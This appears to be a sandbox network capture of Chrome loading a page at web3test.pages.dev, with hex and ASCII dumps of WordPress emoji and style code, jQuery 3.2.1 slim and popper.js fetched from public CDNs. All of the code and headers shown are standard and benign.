2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 20 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 20 7c 7c 20 28 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 2c 20 28 65 20 3d 20 6e 2e 73 6f 75 72 63 65 20 7c 7c 20 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 20 3f 20 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 20 3a 20 65 2e 77 70 65 6d 6f 6a 69 20 26 26 20 65 2e 74 77 65 6d 6f 6a 69 20 26 26 20 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 20 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 29 0a 20 20 20 20 20 20 20 20 7d Data Ascii: e }).then(function() { var e; n.supports.everything \|\| (n.readyCallback(), (e = n.source \|\| {}).concatemoji ? t(e.concatemoji) : e.wpemoji && e.twemoji && (t(e.twemoji), t(e.wpemoji))) })) }
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 Data Ascii: body { --wp--preset--color--black: #000000; --wp--preset--color--cyan-bluish-gray: #abb8c3; --wp--preset--color--white: #ffffff; --wp--preset--color--pale-pink: #f78da7; --wp--preset--color--viv
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 20 72 67 62 28 32 33 38 2c 20 32 33 38 2c 20 32 33 38 29 20 30 25 2c 20 72 67 62 28 31 36 39 2c 20 31 38 34 2c 20 31 39 35 29 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 20 72 67 62 28 37 34 2c 20 32 33 34 2c 20 32 32 30 29 20 30 25 2c 20 72 67 62 28 31 35 31 2c 20 31 32 30 2c 20 32 30 39 29 20 32 30 25 2c 20 72 67 62 28 32 30 37 2c 20 34 32 2c 20 31 38 36 29 20 34 30 25 2c 20 72 67 62 28 32 33 38 2c 20 34 34 2c 20 31 33 30 29 20 36 30 25 2c 20 72 67 62 28 32 35 31 2c 20 31 30 35 2c 20 39 38 Data Ascii: adient(135deg, rgb(238, 238, 238) 0%, rgb(169, 184, 195) 100%); --wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg, rgb(74, 234, 220) 0%, rgb(151, 120, 209) 20%, rgb(207, 42, 186) 40%, rgb(238, 44, 130) 60%, rgb(251, 105, 98

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	151.101.130.137	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:12 UTC	581	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://web3test.pages.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://web3test.pages.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:13 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2602098 Date: Fri, 14 Mar 2025 08:51:12 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890062-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1741942273.982185,VS0,VE1 Vary: Accept-Encoding
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-14 08:51:13 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49728	104.17.24.14	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:12 UTC	606	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://web3test.pages.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://web3test.pages.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:13 UTC	965	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 08:51:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1182429 Expires: Wed, 04 Mar 2026 08:51:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BoNdTtM7mrxJM4Pmi6O2NWGtGxXnFc5ilLYfknexx%2BpM6OyYFvUQjofReuwIoKvPFAGmYKvgmdNoSCRWkbhiw2if%2FFD04Lsw9dDjRgOUhUTiTZmeJTSKtzpGes%2FH%2B8SpBt%2FZRmo8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9202872669665e74-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 08:51:13 UTC	404	IN	Data Raw: 33 39 37 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 3974/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 Data Ascii: f(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#doc
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b Data Ascii: (e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e[
2025-03-14 08:51:13 UTC	1369	IN	Data Raw: 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d Data Ascii: c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}
